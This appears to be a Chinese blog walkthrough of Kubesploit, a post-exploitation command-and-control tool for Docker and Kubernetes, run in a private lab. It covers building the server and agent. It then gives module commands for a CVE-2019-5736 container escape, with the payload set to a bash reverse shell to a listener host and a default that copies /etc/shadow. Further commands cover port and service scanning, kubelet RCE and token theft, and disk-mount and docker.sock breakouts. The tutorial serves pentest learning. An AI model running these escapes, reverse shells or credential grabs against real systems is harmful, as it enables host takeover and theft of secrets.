kubesploit工具使用--一个针对容器化环境的跨平台后渗透利用工具

1 Kubesploit介绍

1.1 Kubesploit是什么

Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,该工具基于Golang开发,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题。

我们的主要目标是提高社区对容器化环境安全的认识,并改进各种网络中实施的缓解措施。所有这些都是通过一个框架来实现的,这个框架为PT团队和红队成员在这些环境中的活动提供了适当的工具。使用这些工具将帮助你评估这些环境的优势,并进行必要的更改以保护它们。

由于C&C和代理基础设施已经由Merlin完成,我们只需要继承Go解释器(“Yaegi”)就可以在服务器端和代理运行Golang代码了。

它允许我们在Golang中编写模块,为模块提供更大的灵活性,并动态加载新模块。这是一个正在进行的项目,我们计划在未来添加更多与Docker和Kubernetes相关的模块。

1.2 Kubesploit能干什么

1.2.1 功能介绍

Kubesploit主要的功能就体现在其中的module,存放了多个可利用的攻击代码(POC)。我们先看看这些module能干些什么?

1639728261432

  • linux/go/cve2019_5736:检测该容器是否存在CVE-2019-5736容器逃逸漏洞,并实现利用该漏洞,逃逸到宿主机上。
  • linux/go/clusterCVEScan:扫描Kubernetes集群中的已知CVE漏洞;
  • linux/go/portScan:端口扫描,重点是Kubernetes服务;
  • linux/go/serviceScan:从容器内扫描Kubernetes服务;
  • linux/go/kubeletAttack:通过该module可以获取所有pods的一些信息:rce,令牌等信息;
  • linux/x64/bash/exec/bash:可以在agent中执行任意bash命令。
  • linux/go/mountContainerBreakout: 通过将宿主机的磁盘重新挂载到容器中某个目录 实现容器逃逸
  • linux/go/dockerBreakout: 通过容器挂载的 /var/run/docker.sock(宿主机上) 文件实现容器逃逸。

1.2.2 攻击路线

了解各个module后,我们知道Kubesploit可以做的东西,下面我们从攻击者攻击路线来看,攻击者如何使用这些module,能达到什么样的攻击效果呢?

我们知道Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。使用该工具的前提是攻击者已经渗透到容器中,拿到容器的root权限。

(1)在容器中部署Kubesploit的agent端,并启动连上server端。进行容器的信息收集,运行步骤(4)。

(2)容器是否可逃逸到宿主机上?该工具有以下三种利用方式:

​ a.使用linux/go/cve2019_5736的module去探测利用,若利用成功,成功逃逸到宿主机后,

​ b.使用linux/go/mountContainerBreakout模块去将宿主机的磁盘重新挂载到容器中某个目录,然后使用 计划任务 crontab 写入个反弹shell的恶意代码,使得宿主机执行,则控制住宿主机。

​ c.使用linux/go/dockerBreakout模块利用 docker.sock 进行容器逃逸。

如果逃逸成功,拿到宿主机权限,进行(3)(4)(5)。

(3)使用inux/go/clusterCVEScan模块扫描k8s服务,是否存在已知的CVE漏洞?

(4)宿主机信息收集:通过使用linux/go/portScan进行端口收集,使用linux/go/serviceScan模块进行服务收集。

(5)pods探测:通过使用linux/go/kubeletAttack模块,进行pods信息收集:包括是否有RCE漏洞,token等,为进一步渗透到pod做准备。

1.3 Kubesploit怎么部署

首先Kubesploit是后渗透利用工具,因此使用该工具的条件是已经拿到容器或者主机的权限,想要进行进一步渗透攻击。因此Kubesploit分为server端和agent端,如下图所示,agent部署在已获得权限的容器或者主机中。server部署在攻击者机器上。攻击者可以通过server来控制所有agent,可以统一进行module攻击。

1640079397615

2 环境准备

该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。

使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】

(1)下载文件

wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz

(2)解压文件到 /usr/local

tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local

(3)配置环境变量

vi /etc/profile

在/etc/profile文件末尾添加以下配置,输入 :wq保存

#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go 
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath

(5)配置文件生效

source /etc/profile 
go version

1639728761904

3 部署kubesploit

首先这里使用了3个主机(两个也可),作用如下。因此需要在sec9002上启动agent,sec9003启动server。

hostnameip作用
archery-sec900110.65.103.67监听反弹shell(这个也可以在sec9003中监听)
archery-sec900210.65.103.68部署漏洞容器的主机,容器中部署部署kubesploit中的Agent
archery-sec900310.65.103.69部署kubesploit中的server

3.1 安装

(1)在sec9003上下载kubesploit包

git clone git://github.com/cyberark/kubesploit.git

(2)进入安装包

cd kubesploit

(3)编译安装:

make

1639720677749

(4)快速构建(build) server和agent

export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go

可以看到kubesploit文件夹中生成了 agent和server。

1639721484176

(5)上面步骤在sec9002中的容器中做一遍,用来部署agent即可。

3.2 启动

(1)sec9003服务器端修改config.yaml,

vi config.yaml

1639729283436

(2)在sec9003服务器端启动服务器端

./server

下图可以看到最下面 服务器端开启了监听,因此agent只需要连接下面的地址即可。

1639728153682

(3)在sec9002的容器中启动Agent上连接server

./agent -url https://10.65.103.69:443 &

(4)Server上查看agentlist

agent list

从下图可以看到新的Agent认证检查通过,并且可以看到连接的Agent状态未delayed.

1639723863099

5 攻击

在Server上可以看到可以利用的模块如下图所示。按Tab可以查看所有的利用模块。所有module使用方法都很简单。以linux/go/portScan为例:

1639728261432

(1)使用module:use module +名字

kubesploit» use module linux/go/portScan

(2)查看module用法

kubesploit[module][PortScan]» info

(3)设置参数

kubesploit[module][PortScan]» set Urls 10.65.102.52

(4)开启扫描

kubesploit[module][PortScan]» run

根据1.2.2 攻击路线中提到 拿到一个容器权限后,首先做的是检测是否有漏洞可逃逸到宿主机上。

5.1 linux/go/cve2019_5736:Docker逃逸漏洞检测

cve2019_5736是一个Docker逃逸漏洞,关于该漏洞更多请查看XXx。

漏洞影响范围:Docker版本 < 18.09.2 或者使用 runc版本 <= 1.0-rc6的环境

(1)在sec9003主机上使用该模块

kubesploit» use module linux/go/cve2019_5736

(2)将默认的Payload:cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow 设置成反弹shell的载荷:

kubesploit[module][CVE-2019-5736]»set Payload #!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/8989 0>&1

1640077783963

(3)运行攻击

1640077637015

(4)可以观察到sec9002中容器agent信息,已经成功覆盖了/bin/sh

1640077631012

(5)sec9001上开启监听:

1640078350442

(6)再sec9002机器中重进入容器:

[root@archery-sec9002 supper-user]# docker exec -it cb957e46368f /bin/sh

(7)观察sec9001上的监听,发现反弹Shell成功。说明容器逃逸成功,已经获得sec9002主机权限。

1640077755990

1640077931065

5.2 port扫描

当从容器逃逸到宿主机上后,可以在宿主机上再安装agent去进一步渗透。

(0)返回主页面

kubesploit[module][CVE-2019-5736]t»main

(1)使用模块库

kubesploit» use module linux/go/portScan

(2)查看模块库使用信息

kubesploit[module][PortScan]» info

1639731335906

(3)设置扫描目前Url

kubesploit[module][PortScan]» set Urls 10.65.102.52

(4)开启扫描

kubesploit[module][PortScan]» run
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:04Z
[*] Scanning for open ports (15 threads)
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:07Z
[*] Scanning IP: 10.65.102.52
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:10Z
    8443: kube-apiserver, Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:14Z
    22: SSH
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:17Z
    10256: Kube proxy health check server
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:20Z
    80: http
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:23Z
    443: https
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:27Z
    10250: kubelet HTTPS API which allows full node access
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:30Z
    6443: Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:33Z
    2379: ETCD server port, kubernetes database
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:37Z
*** DONE ***

分别观察agent和server端输出。

1639731800868

5.3 service扫描

kubesploit» use module linux/go/servicesScan
kubesploit[module][K8sServicesScan]» set CIDR 10.254.0.0/16

扫描结果:无返回

5.4 k8s CVE扫描

在宿主机上可以扫描k8s有没有已知的CVE漏洞。Url为APIserver的地址

kubesploit» use module linux/go/clusterCVEScan
kubesploit[module][K8sClusterCVEScan]»info
kubesploit[module][K8sClusterCVEScan]»set Url https://10.65.102.52:6443
kubesploit[module][K8sClusterCVEScan]»run

运行后可以发现有下面3个已知CVE漏洞。

1639737553250

5.5 Kubelet attack

还可以使用Kubelet attack进一步去渗透各个pods中。

kubesploit» use module linux/go/kubeletAttack
kubesploit[module][kubeletctl]»info
kubesploit[module][kubeletctl]»set Url https://10.65.102.52:10250
kubesploit[module][kubeletctl]»set Command rce
kubesploit[module][kubeletctl]»set Command token
kubesploit[module][kubeletctl]»set Command run -a whoami
kubesploit[module][kubeletctl]»set Command run -as whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n kube-system -p haproxy-apaas-master8001 -c haproxy

因为我们的k8s 访问pod需要token的,因此我们攻击失败。

1639990844045

5.6 moutContainerBreakout

kubesploit» use module linux/go/mountContainerBreakout
kubesploit[module][ContainerBreakoutMounting]»info
kubesploit[module][ContainerBreakoutMounting]»run

具体使用功能。通过挂载宿主机磁盘来拿到宿主机权限。

1640676266506

1639733532127

1639991240912

5.7 use module linux/go/var-log-escape

kubesploit» use module linux/go/var-log-escape

1639988119007

1639988020351

5.8 linux/go/dockerBreakout

使用说明

1640676348639

ERROR

报错1

export GOOS=linux;export GOARCH=amd64;go build -ldflags "-s -w -X main.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X github.com/cyberark/kubesploit/pkg/agent.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X main.protocol=h2 -X main.url=https://127.0.0.1:443 -X main.host= -X main.psk=kubesploit -X main.proxy= -buildid=" -o data/temp/v0.1.2/8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f/kubesploitServer-Linux-x64 cmd/merlinserver/main.go
go: github.com/CUCyber/ja3transport@v0.0.0-20191126031250-d2ab5557668f: Get https://proxy.golang.org/github.com/%21c%21u%21cyber/ja3transport/@v/v0.0.0-20191126031250-d2ab5557668f.mod: dial tcp 216.58.200.81:443: i/o timeout
make: *** [server-linux] Error 1

**solution:**https://www.jianshu.com/p/b23727397119

报错2

go: finding github.com/francoispqt/gojay v1.2.13
go: finding github.com/golang/protobuf v1.4.2
go: finding google.golang.org/protobuf v1.25.0
go: finding github.com/marten-seemann/qpack v0.1.0
# github.com/lucas-clemente/quic-go/internal/handshake
/home/gopath/pkg/mod/github.com/lucas-clemente/quic-go@v0.17.3/internal/handshake/go_1-13.go:24:75: cannot use c (type *qtls.ClientHelloInfo) as type *tls.ClientHelloInfo in return argument
make: *** [server-linux] Error 2

**solution:**go版本号不兼容,使用1.14版本。

参考

https://github.com/cyberark/kubesploit git地址

https://www.freebuf.com/articles/container/271402.html 有点子简单介绍

文章目录
  1. 1 Kubesploit介绍
    1. 1.1 Kubesploit是什么
    2. 1.2 Kubesploit能干什么
      1. 1.2.1 功能介绍
      2. 1.2.2 攻击路线
    3. 1.3 Kubesploit怎么部署
  2. 2 环境准备
  3. 3 部署kubesploit
    1. 3.1 安装
    2. 3.2 启动
  4. 5 攻击
    1. 5.1 linux/go/cve2019_5736:Docker逃逸漏洞检测
    2. 5.2 port扫描
    3. 5.3 service扫描
    4. 5.4 k8s CVE扫描
    5. 5.5 Kubelet attack
    6. 5.6 moutContainerBreakout
    7. 5.7 use module linux/go/var-log-escape
    8. 5.8 linux/go/dockerBreakout
  5. ERROR
    1. 报错1
    2. 报错2
  6. 参考